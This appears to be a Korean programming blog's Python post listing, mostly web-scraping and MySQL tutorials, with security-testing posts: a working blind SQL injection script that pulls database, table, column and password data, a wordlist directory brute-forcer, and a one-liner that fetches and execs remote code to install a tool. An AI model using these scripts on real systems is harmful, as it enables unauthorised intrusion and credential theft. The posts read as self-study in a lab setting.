레이블이 python인 게시물을 표시합니다. 모든 게시물 표시
레이블이 python인 게시물을 표시합니다. 모든 게시물 표시

2019. 10. 30.

[python] 크롤링 데이터를 mysql에 삽입

이전 포스트(https://coashanee5.blogspot.com/2019/10/blog-post_29.html)는 공공기관의 채용공고 사이트의 검색결과를 수집하여 기업명과, 공고URL을 출력하였다. 이번 포스트에서는 수집한 내용을 데이터베이스에 넣어 보도록 하겠다.

1. 우선 mysql을 설치를 한 후, 데이터를 넣기 위한 데이터베이스를 만든다. 
create DataBase scraping;
2. 이번에는 데이터를 저장할 테이블을 생성한다. 
create Table job_offer (id BIGINT(7) NOT NULL AUTO_INCREMENT, comp VARCHAR(200), title VARCHAR(200), URL VARCHAR(1000), created TIMESTAMP DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY(id));

3. 기존 소스에 DB연결과 데이터를 저장하는 내용을 추가한다.

# 공공기관 채용정보에서 정보통신 공고만 추려서 리스팅하는 소스
import requests
from bs4 import BeautifulSoup
from urllib.request import urlopen
import re
import ssl
import datetime
import pymysql
context = ssl._create_unverified_context()


# url을 변수에 삽입하여 저장한다.
url = "https://job.alio.go.kr/recruit.do?pageNo=1&param=&search_yn=Y" \
      "&idx=&recruitYear=&recruitMonth=&detail_code=R600020&location=R3010&work_type=R1010" \
      "&work_type=R1030&career=R2020&education=R7010&education=R7040&education=R7050" \
      "&education=R7060&replacement=N&s_date=2019.03.12&e_date=2019.10.12&org_name=&title=&order=REG_DATE"

conn = pymysql.connect(host='127.0.0.1', user='root',passwd='test1234', db='mysql')
cur = conn.cursor()
cur.execute("USE scraping")

html = urlopen(url, context=context)
bsObj = BeautifulSoup(html.read(), "html.parser")

table = bsObj.find("table",class_="tbl type_03")

def extractNumber(word):
    i = int(re.findall('\d+', word)[0])
    return i

def store(comp, title, URL):
    cur.execute(
        "INSERT INTO job_offer (comp, title, URL) VALUES (\"%s\", \"%s\", \"%s\")", (comp, title, URL)
    )
    cur.connection.commit()

list = []
trs = table.tbody.findAll("tr")
for idx, tr in enumerate(trs):
    title = tr.select("td")[2].get_text().strip() # 제목
    comp = tr.select("td")[3].get_text().strip() # 기업명
    a = extractNumber(tr.select("td")[2].find("a").attrs['onclick'])

    new_url = "https://job.alio.go.kr/recruitview.do?pageNo=1&param=&search_yn=Y&idx={0}" \
              "&recruitYear=&recruitMonth=&detail_code=R600020&location=R3010&work_type=R1010" \
              "&work_type=R1030&career=R2020&education=R7010&education=R7040" \
              "&education=R7050&education=R7060&replacement=N&s_date=2019.03.12" \
              "&e_date=2019.10.12&org_name=&title=&order=REG_DATE".format(a)
    print(idx, title, comp, new_url)
    store(comp, title, new_url)

cur.close()
conn.close()

실행결과, 다음과 같이 데이터가 저장되는 것을 확인할 수 있다.


Continue reading

2019. 10. 29.

[python] 공공기관 채용정보시스템의 채용공고 출력하는 파이썬코드

공공기관 채용정보시스템에서 원하는 공고를 검색하여 크롤링하는 소스이다.

# 공공기관 채용정보에서 정보통신 공고만 추려서 리스팅하는 소스
import requests
from bs4 import BeautifulSoup
from urllib.request import urlopen
import re
import ssl
import datetime
context = ssl._create_unverified_context()


# url을 변수에 삽입하여 저장한다.
url = "https://job.alio.go.kr/recruit.do?pageNo=1&param=&search_yn=Y" \
      "&idx=&recruitYear=&recruitMonth=&detail_code=R600020&location=R3010&work_type=R1010" \
      "&work_type=R1030&career=R2020&education=R7010&education=R7040&education=R7050" \
      "&education=R7060&replacement=N&s_date=2019.03.12&e_date=2019.10.12&org_name=&title=&order=REG_DATE"

html = urlopen(url, context=context)
bsObj = BeautifulSoup(html.read(), "html.parser")

table = bsObj.find("table",class_="tbl type_03")

def extractNumber(word):
    i = int(re.findall('\d+', word)[0])
    return i

list = []
trs = table.tbody.findAll("tr")
for idx, tr in enumerate(trs):
    title = tr.select("td")[2].get_text().strip() # 제목
    gName = tr.select("td")[3].get_text().strip() # 기업명
    #place = tr.select("td")[4].get_text().strip().replace("\t","").replace("\r","").replace("\n","") # 장소
    #type = tr.select("td")[5].get_text().strip() # 고용 형태
    a = extractNumber(tr.select("td")[2].find("a").attrs['onclick'])

    new_url = "https://job.alio.go.kr/recruitview.do?pageNo=1&param=&search_yn=Y&idx={0}" \
              "&recruitYear=&recruitMonth=&detail_code=R600020&location=R3010&work_type=R1010" \
              "&work_type=R1030&career=R2020&education=R7010&education=R7040" \
              "&education=R7050&education=R7060&replacement=N&s_date=2019.03.12" \
              "&e_date=2019.10.12&org_name=&title=&order=REG_DATE".format(a)
    #list.append(title + ", " + gName + ", "+new_url)
    print(idx, title, gName, new_url)
#print (list)

실행 결과는 아래와 같다. 



이후에는 크롤링 결과를 1) 엑셀 다운로드, 2) 메일 전송 3) 웹 서버에 띄우기 이런 정도로 포스팅을 해 볼까 생각중이다.

Continue reading

2019. 10. 18.

[python] 아나콘다(anaconda) 에서 jupyter notebook 실행시 에러 발생

문제.
- 아나콘다 에서 jupyter notebook 을 실행 할때 해당 경로에 가서 명령어(C:\Users\dojang>C:\Users\dojang\Anaconda3\python.exe -m notebook --notebook-dir C:\project) 를 입력만 하면 되었다. (회사 환경에서는)
- 그런데 집에서는 "ImportError: DLL load failed: 지정된 모듈을 찾을 수 없습니다." 라는 오류가 발생한다.

해법.
- 문제의 원인은 찾지 못했지만 해결책은 찾았다. conda 환경을 갖추고 거기서 주피터를 실행한다
- cd C:\Users\ABC\Anaconda3\Scripts -> activate.bat -> jupyter.exe notebook

Continue reading

2019. 10. 14.

[python] 네이버 open api 를 통한 크롤링 수집

소스코드

ㅇㅇㅇ
import urllib.request
import json

client_key = '키 값'
client_secret = '시크릿 값'

# 한글등 non-ASCII text를 URL에 넣을 수 있도록 "%" followed by hexadecimal digits 로 변경
# URL은 ASCII 인코딩셋만 지원하기 때문임
encText = urllib.parse.quote_plus("스마트폰")
# print(encText)

naver_url = 'https://openapi.naver.com/v1/search/news.json?query=' + encText

# urllib.request.Request()는 HTTP Header 변경시에 사용함
# 네이버에서도 다음 HTTP Header 키를 변경해야하기 때문에 사용함
# HTTP Header 변경이 필요없다면, 바로 urllib.request.urlopen()함수만 사용해도 됩
request = urllib.request.Request(naver_url)
request.add_header("X-Naver-Client-Id",client_key)
request.add_header("X-Naver-Client-Secret",client_secret)

# urllib.request.urlopen 메세드로 크롤링할 웹페이지를 가져옴
response = urllib.request.urlopen(request)


# getcode() 메서드로 HTTP 응답 상태 코드를 가져올 수 있음
rescode = response.getcode()

# HTTP 요청 응답이 정상적일 경우, 해당 HTML 데이터를 수신되었기 때문에 필요한 데이터 추출이 가능함
# HTTP 요청에 대한 정상응답일 경우, HTTP 응답 상태 코드 값이 200이 됩니다.
if(rescode == 200):
# response.read() 메서드로 수신된 HTML 데이터를 가져올 수 있음
response_body = response.read()
# 네이버 Open API를 통해서 수신된 데이터가 JSON 포멧이기 때문에, 
# JSON 포멧 데이터를 파싱해서 사전데이터로 만들어주는 json 라이브러라를 사용
data = json.loads(response_body)
# json.loads() 메서드를 사용해서 data 에 수신된 데이터를 사전 데이터로 분석해서 자동으로 만들어줌
#print (data['items'][0]['title'])
#print (data['items'][0]['description'])
print(data)
else:
print("Error Code:" + rescode)

출처

Continue reading

2019. 10. 11.

[python] 네이버 검색 정보 크롤링해서 DB에 넣기

import requests
from bs4 import BeautifulSoup
from urllib.request import HTTPError
import pymysql
import datetime
headers = {'User=Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36'}

def blog_crawling(keywords):
    start_time = datetime.datetime.now()

    conn = pymysql.connect(host=xxxxxx', user='xxxx', password='xxxxx', db='xxxx', charset='utf8')
    try:
        with conn.cursor() as cursor:
            for keyword in keywords:
                count = 1                for x in range(1,1000,10):
                    now = datetime.datetime.now()
                    print(x)

                    url = 'https://search.naver.com/search.naver?date_from=&date_option=0&date_to=&dup_remove=1&nso=&post_blogurl=&post_blogurl_without=&query={0}&sm=tab_pge&srchby=all&st=sim&where=post&start={1}'.format(keyword,x)
                    response = requests.get(url,headers = headers)
                    html = BeautifulSoup(response.text,'html.parser')
                    bloghtmls = html.find_all('li',class_='sh_blog_top')
                    for bloghtml in bloghtmls:
                        print(count)
                        i = 0                        if 'title' in bloghtml.select('a')[1].attrs:
                            print(bloghtml.select('a')[1]['title'])  # 블로그 타이틀 -- a 태그중 2번째의 태그의  title 가 블로그 제목이다                            i = 1                        elif 'title' in bloghtml.select('a')[2].attrs:
                            print(bloghtml.select('a')[2]['title']) # 블로그 타이틀 -- a 태그중 2번째의 태그의  title 가 블로그 제목이다                            i = 2                        #print(bloghtml.select('a')[2]['title']) #블로그 타이틀 -- a 태그중 3번째의 태그의  title 가 블로그 제목이다                        print(bloghtml.select('a')[0]['href']) # URL -- a태그가 여러개라면 그중 첫번째 중에 href를 가져와라                        print(bloghtml.select('.txt84')[0].get_text()) #블로그명                        print(bloghtml.select('.txt_inline')[0].get_text()) #등록일자                        print('\n')

                        sql = """insert into naver_blog2(search_date, keyword, title, link,rank_b,write_date) values (%s, %s, %s, %s,%s,%s)"""                        cursor.execute(sql, (now,keyword,bloghtml.select('a')[i]['title'],bloghtml.select('a')[0]['href'],count,bloghtml.select('.txt_inline')[0].get_text()))
                        conn.commit()

                        count += 1

    finally:
        conn.close()
        end_time = datetime.datetime.now()
        run_time = end_time - start_time
        print(run_time)

blog_crawling(['python','c++','java'])

Continue reading

[python] pythonista 에서 모듈 설치, stash

모바일에서 파이썬 코딩하는 최고의 도구 pythonista 를 잘 사용하고 있다.
pythonista 에서 모듈을 설치하고 싶을 때 다음과 같은 방법을 통해 모듈을 설치 할 수 있다.

1. stash 를 설치한다.

  • https://github.com/ywangd/stash 에 installation 을 복사하여 pythonista에 추가
  • 즉 import requests as r; exec(r.get('https://bit.ly/get-stash').text) 를 복사하여 pythonista에서 실행
  • 실행 결과 ios에는 lunch_stash.py 가 실행되는데 이를 실행하면 프롬프트가 실행된다. 
  • pip install 모듈명 으로 원하는 모듈 설치

참고 

Continue reading

2019. 9. 29.

[python] 위키피디아 데이터 수집 후 DB에 저장

위키피디아 데이터 수집 후 DB에 저장하는 파이썬 코드

from urllib.request import urlopen
from bs4 import BeautifulSoup
import re
import datetime
import random
import pymysql

conn = pymysql.connect(host='127.0.0.1',user='root',passwd='2kdskfk1!@', db='scraping', charset='utf8')

cur = conn.cursor()
cur.execute("USE scraping")
random.seed(datetime.datetime.now())

def store(title, content):
cur.execute(
"INSERT INTO pages (title, content) VALUES (\"%s\", \"%s\")", (title, content)
)
cur.connection.commit()

def getLinks(articleUrl):
html = urlopen("http://en.wikipedia.org"+articleUrl)
bsObj = BeautifulSoup(html, "html.parser")
title = bsObj.find("h1").get_text()
content = bsObj.find("div", {"id":"mw-content-text"}).find("p").get_text()
store(title, content)
return bsObj.find("div", {"id":"bodyContent"}).findAll("a", href=re.compile("^(/wiki/)((?!:).)*$"))

links = getLinks('/wiki/Kevin_Bacon')
try :
while len(links) > 0:
newArticle = links[random.randint(0, len(links)-1)].attrs["href"]
print(newArticle)
links = getLinks(newArticle)
finally:
cur.close()
conn.close()

기본적인 테스트기 때문에 불필요한 값들이 많이 들어가있는 것을 볼 수 있다.


Continue reading

[python] mysql 과 파이썬 연동

파이썬에서 mysql 을 사용하려면 pymysql 모듈을 pip로 설치해야 한다.

import pymysql
conn = pymysql.connect(host='localhost', user='root', passwd='비밀번호', db='scraping')

cur = conn.cursor()
cur.execute("SELECT * FROM pages WHERE id=1")
print(cur.fetchall())
cur.close()
conn.close()


Continue reading

2019. 9. 23.

[python] 웹 크롤링, 네이버 웹툰 제목

from bs4 import BeautifulSoup
from pprint import pprint
import requests

html = requests.get("http://comic.naver.com/webtoon/weekday.nhn")

bsObj = BeautifulSoup(html.text, "html.parser")
#첫번째 가공
date1 = bsObj.find('div',{'class':'col_inner'})
#print(date1)

#두번째 가공

date2 = date1.findAll('a',{"class":"title"})
#print(date2)

for name in date2 :
print(name.get_text())

'''
for name in bsObj.find('div',{'class':'col_inner'}).findAll("a", {"class":"title"}) :
print(name.attrs["title"])
'''

Continue reading

2019. 9. 22.

[python] 홈페이지 전체 페이지 크롤링

from urllib.request import urlopen
from bs4 import BeautifulSoup
import re

pages = set()

def linkUrl(addrUrl) :
html = urlopen("https://en.m.wikipedia.org/wiki/Main_Page")
bsObj = BeautifulSoup(html.read(), "html.parser")
for i in bsObj.findAll("a",href=re.compile("(^/wiki/)")) :
if "href" in i.attrs :
if i.attrs["href"] not in pages :
newPages = i.attrs["href"]
pages.add(newPages)
print(newPages)
linkUrl(newPages)
linkUrl("")

Continue reading

[python] 현재 사이트에서 랜덤으로 외부 사이트 링크 타고 가기

현재 사이트에서 a href 목록을 수집하여 외부사이트를 선별하여 링크를 출력한다.

from urllib.request import urlopen
from bs4 import BeautifulSoup
import re
from urllib.parse import urlparse
import random
import datetime

pages = set()
random.seed(datetime.datetime.now())

def internalLinks(bsObj, host) :
internalLink = []
#/로 시작하거나 중간에 루트 도메인 주소가 포함된 링크를 찾는다.
for link in bsObj.findAll("a", href=re.compile("(^/|.*"+host+")")) :
if link.attrs["href"] is not None :
if link.attrs["href"] not in internalLink :
if link.attrs["href"].startswith("/") :
internalLink.append(host+link.attrs["href"])
else :
internalLink.append(link.attrs["href"])
return internalLink

def externalLinks(bsObj, host) :
externalLink = []
for link in bsObj.findAll("a", {"href":re.compile("^(http|www)((?!"+host+").)*$")}) :
if link.attrs["href"] is not None :
externalLink.append(link.attrs["href"])
return externalLink


def getRandomExternalLink(firstUrl) :
html = urlopen(firstUrl)
bsObj = BeautifulSoup(html.read(), "html.parser")
#print(urlparse(firstUrl).netloc)
externalLink1 = externalLinks(bsObj, urlparse(firstUrl).netloc)
if len(externalLink1) == 0 :
domain = urlparse(firstUrl).scheme+"://"+urlparse(firstUrl).netloc
internalLink1 = internalLinks(bsObj, domain)
return externalLinks(random.randint(0, len(internalLink1)-1))
else :
return externalLink1[random.randint(0, len(externalLink1)-1)]

def followExternalOnly(firstUrl) :
choiceOne = getRandomExternalLink(firstUrl)
print("******** random externalLink is",choiceOne)
followExternalOnly(choiceOne)
followExternalOnly("https://www.oreilly.com")


#test("www.naver.com")
#>>> a = urllib.request.urlopen(b'http://www.google.com'.decode('ASCII')).read()

Continue reading

[python] 다음 실시간 검색어 리스트 추출

# 다음 실시간 검색어 순위 목록 추출
from urllib.request import urlopen
from bs4 import BeautifulSoup

html = urlopen("https://m.daum.net/?nil_top=mobile")

bsObs = BeautifulSoup(html.read(), "html.parser")

for i in bsObs.find("div",{"class":"keyissue_area"}).findAll("span",{"class":"txt_issue"}) :
print(i.get_text())

Continue reading

2019. 9. 17.

[python] 위키백과 정찰

 # 위키백과 최초 페이지에서 랜덤으로 링크페이지에 접속하여 링크가 없을때까지 반복하는 프로그램
from urllib.request import urlopen
from bs4 import BeautifulSoup
import re
import random
import datetime
random.seed(datetime.datetime.now())



def linkaddr(addr) :
listing = []
html = urlopen("http://en.wikipedia.org"+addr)

bsObj = BeautifulSoup(html.read(), "html.parser")

for link in bsObj.find("div", {"id":"bodyContent"}).findAll("a",href=re.compile("^(/wiki/)((?!:).)*$")) :
if 'href' in link.attrs :
listing.append(link.attrs['href'])
return listing

links = []
links = linkaddr("/wiki/kevin_Bacon")
while len(links) > 0 :
a = links[random.randint(0, len(links)-1)]
print(a)
linkaddr(a)

Continue reading

2018. 9. 27.

[웹 취약점] blind sql 인젝션 자동화 스크립트

#!/usr/bin/python
import urllib, urllib2
import sys
 
# Connect URL
def urlcon(query):
    method = "id=" + urllib.quote(query)   # url encode
    #method += "&"
    #method += "pw=asd"
 
    url = urllib2.Request('http://testsite.com/cat.php?' + method)
    s = urllib2.urlopen(url)
 
    result = s.read()
 
    s.close()
 
    # Check
    if result.find("hacker") == -1:
        return 0    # failed
    else:
        return 1    # success
 
# Get a current DB Name
def get_db():
    length = 0
    db = ""
 
    for i in range(1, 30, 1):        # Get Length
        query = "1 or 1=1 and substr((select length(database())), 1, 2) = '{0}'#".format(i)
        if urlcon(query) == 1:
            length = i
            break
    
    print "Length : {0}".format(length)
    
    for i in range(length):
        for j in range(0, 127, 1):
            query = "1 or 1=1 and ascii(substr((select database()), {0}, 1)) = '{1}'#".format(i+1, j)
            if urlcon(query) == 1:
                db += chr(j)
                break
        print db
 
    print "================================================================="
    print "Result : " + db
 
    return db
 
# Get Tables
def get_table():
    tlist = []
    index = 0
 
    while 1:
        length = 0
        for i in range(1, 30, 1):        # Get Length
            query = "1 or 1=1 and substr((select length(table_name) from information_schema.tables where table_type='base table' limit {0},1),1,2) = '{1}' #".format(index, i)
            if urlcon(query) == 1:
                length = i
                break
 
        if length == 0:
            print "================================================================="
            print "Complete"
            break
        
        print "Length : {0}".format(length)
        table = ""
        for i in range(length):
            for j in range(0, 127, 1):
                query = "1 or 1=1 and ascii(substr((seltect table_name from information_schema.tables where table_type='base table' limit {0},1),{1},1)) = '{2}' #".format(index, i+1, j)
                if urlcon(query) == 1:
                    table += chr(j)
                    break
            print table
        tlist.append(table)
        index += 1
 
    print tlist
    return tlist
 
# Get Columns
def get_column(table):
    clist = []
    index = 0
 
    while 1:
        length = 0
        for i in range(1, 30, 1):        # Get Length
            query = "1 or 1=1 and substr((select length(column_name) from information_schema.columns where table_name='{0}' limit {1},1),1,2) = '{2}' #".format(table, index, i)
            if urlcon(query) == 1:
                length = i
                break
 
        if length == 0:
            print "================================================================="
            print "Complete"
            break
        
        print "Length : {0}".format(length)
        column = ""
        for i in range(length):
            for j in range(0, 127, 1):
                query = "1 or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1)) = '{3}' #".format(table, index, i+1, 

j)
                if urlcon(query) == 1:
                    column += chr(j)
                    break
            print column
        clist.append(column)
        index += 1
 
    print clist
    return clist
 
# Get a Value
def get_value(table, ID):
    length = 0
    pw = ""
 
    for i in range(1, 30, 1):        # Get Length
        query = "1 or 1=1 and substr((select length(pw) from {0} where id='{1}' limit 0,1),1,2) = '{2}' #".format(table, ID, i)
        if urlcon(query) == 1:
            length = i
            break
    
    print "Length : {0}".format(length)
    
    for i in range(length):
        for j in range(0, 127, 1):
            query = "1 or 1=1 and ascii(substr((select pw from {0} where id='{1}' limit 0,1),{2},1)) = '{3}' #".format(table, ID, i+1, j)
            if urlcon(query) == 1:
                pw += chr(j)
                break
        print pw
 
    print "================================================================="
    print "Result : " + pw
 
    return pw
 
# Main Function
if __name__ == '__main__':
    print "================================================================="
    print "Blind SQL Injection"
    print "=================================================================\n"
 
    argc = len(sys.argv)
    if argc >= 2:
        if int(sys.argv[1]) == 1:
            get_db()
        elif int(sys.argv[1]) == 2:
            get_table()
        elif (int(sys.argv[1]) == 3) and sys.argv[2]:
            get_column(sys.argv[2])        # Table Name is "accounts".
        elif (int(sys.argv[1]) == 4) and sys.argv[2] and sys.argv[3]:
            get_value(sys.argv[2], sys.argv[3])    # Table Name is "accounts", ID is "tribal".
        else:
            print "Usage : {0}  [Table Name] [ID]".format(sys.argv[0])
    else:
        print "Usage : {0}  [Table Name] [ID]".format(sys.argv[0])

실행 결과

해결이 필요한 점
  • table_type='base table' 은 사용자가 만든 table을 의미한다.
  • pentesterlab 환경에서는 mysql 에서 select table_name from information_schema.tables where table_type='base table' 로 실행하면 26개의 결과가 출력되는지 왜 스크립트를 실행하면 3개만 나온다.


출처
  •  http://tribal1012.tistory.com/150

Continue reading

2018. 7. 13.

[파이썬] 정규표현식 익히기

1. 정규표현식
정규표현식은 특정한 규칙을 가진 문자열의 패턴을 표현하는 데 사용하는 표현식(Expression)으로 텍스트에서 특정 문자열을 검색하거나 치환할 때 사용된다. 정규표현식의 사용범위는 무궁무진한다. 예를 들어, 웹 페이지에서 전화번호나 이메일 주소를 발췌한다거나 로그파일에서 특정 에러페에지가 들어간 라인들을 찾을 때 정규 표현식을 사용하면 쉽게 구현 할 수 있다.

2. 정규표현식 사용 

1) 문자열 검색하기 
먼저 파이썬에서 정규표현식을 사용하기 위해서는 re 모듈을 사용한다.

re 모듈의 compile 함수는 정규식 패턴을 입력으로 받아들여 정규식 객체를 리턴하는데, 즉 re.compile(검색할문자열)과 같이 함수를 호출하면 정규식 객체(re.RegexObject 클래스 객체)를 리턴하게 된다.
re.RegexObject 클래스는 여러 메서드들을 가지고 있는데, 이중 여기서는 특정 문자열을 검색하여 처음 맞는 문자열을 리턴하는 search() 메서드를 사용해 본다. 이 search()는 처음 매칭되는 문자열만 리턴하는데, 매칭되는 모든 경우를 리턴하려면 findall()을 사용한다. search()는 검색 대상이 있으면 결과를 갖는 MatchObject 객체를 리턴하고, 맞는 문자열이 없으면 None 을 리턴한다.



2) 전화번호 발췌하기
전화번호의 패턴은 032-232-3245 와 같이 3자리-3자리-4자리로 구성되어 있다고 가정하자. 정규표현식에서 숫자를 의미하는 기호로 \d를 사용한다. 여기서 d는 digit 을 의미하고 0~9 까지의 아무 숫자나 될 수 있다. 따라서 위 전화번호 패턴을 정규식으로 표현하면 \d\d\d-\d\d\d-\d\d\d\d 와 같이 될 수 있다. 아래는 이러한 패턴을 사용하여 전화번호를 발췌하는 예이다.



3) 에러 코드 발췌하기



findall 함수를 사용하여 모든 에러코드 검색하였다.

  • \s는 화이트 스페이스를 의미한다. ( \t\n\r\f ) 와 동일하다. 

3. 정규식 그룹(Group)

정규 표현식에서 () 괄호는 그룹을 의미한다. 예를 들어, 전화번호의 패턴을 \d(3)-\d(3)-\d(4) 와 같이 표현했을 때, 지역번호 3자를 그룹1으로 하고 나머지 7자리를 그룹2로 분리하고 싶을 때, (\d{3})-(\d{3}-\d{4}) 와 둥근 괄호로 묶어 두 그룹으로 분리할 수 있다.
이렇게 분리된 그룹들은 첫번째 그룹은 group(1), 두번째 그룹은 group(2) 와 같이 사용한다. 그리고 전체 전화번호를 가져올 때는 group() 혹은 group(0) 을 사용한다.


# 참조

  • http://pythonstudy.xyz/python/article/401-%EC%A0%95%EA%B7%9C-%ED%91%9C%ED%98%84%EC%8B%9D-Regex

Continue reading

2018. 2. 22.

[파이썬] 파일 및 디렉토리 추측 가능

1. 개요
웹 페이지 상에 .zip 파일이나 .bak 파일 등을 발견함으로써 중요정보를 얻을 수 있다. dictionary 공격과 유사한 방법으로 소스코드를 구현해보았다.


import requests
import re

url = raw_input("Target URL : ") #url = 'http://httpbin.org'

f = open('wordlist.txt','r')

while True:
    line = f.readline()
    if len(line) == 0:
        break

    r = requests.get(url+'/'+line)
    print url+'/'+line,':',r

f.closed

2. 실행 결과



Continue reading

[파이썬] 웹페이지 소스에서 주민등록번호 검출하기

1. 개요
웹 페이지 소스코드에서 정규표현식으로 주민등록번호를 검출하는 소스코드

# -*- coding:utf-8 -*-
import requests
import re

#url = raw_input("Target URL : ") #url = 'http://httpbin.org/get'
url = 'https://ko.wikipedia.org/wiki/%EC%A3%BC%EB%AF%BC%EB%93%B1%EB%A1%9D%EB%B2%88%ED%98%B8'
r = requests.get(url)
#print r.text
text=r.text
print type(text)


s = u"발견된 주민등록번호"
s2=s.encode('cp949')
#regex1=re.compile('\d\d\d-\d\d\d-\d\d\d\d')  # 휴대폰번호 (ex, 010-1234-1234)
regex2=re.compile('\d\d\d\d\d\d-\d\d\d\d\d\d')  # 주민등록번호 (ex, 703021-1662912)
#regex2=re.compile('\d\d\d\d\d\d')  # 주민등록번호 (ex, 703021-1662912)
#mo1=regex1.search(text)
#if mo1 != None:
#    print(mo1.group())

mo2=regex2.search(text)
if mo2 != None:
    print(s,mo2.group())


* \d{6}-\d{7} 와 \d{13} 를 사용함으로서 보다 간결한 정규표현식이 될 수도 있다.

2. 실행 결과


Continue reading

[파이썬] 불필요한 HTTP Method 설정 여부 확인하기

1. 개요
GET, POST 외에 불필요한 메소드를 설정하면, 웹 페이지가 변조/삭제 될 수 있는 위험이 있다. 이번 코드는 서버에서 전달된 Response 헤더 값에서 메소드 정보 값만 추출하는 파이썬 코드를 작성 해보았다.

import requests
import re

url = raw_input("Target URL : ") #url = 'http://httpbin.org/get'

r = requests.options(url)
print r.headers
text=str(r.headers)

regex=re.compile("'Access-Control-Allow-Methods[\'\:\s]+[,A-Z\s]+'")
mo=regex.search(text)
if mo != None:
    print(mo.group())

* 주의 : 위의 text=str(r.headers) 부분이 있는데 여기서 str로 문자열로 변환하지 않으면 딕셔너리 타입에 적용하려고 하다보니 에러가 난다.

2. 실행 결과


Continue reading

Popular Posts

Recent Posts

Powered by Blogger.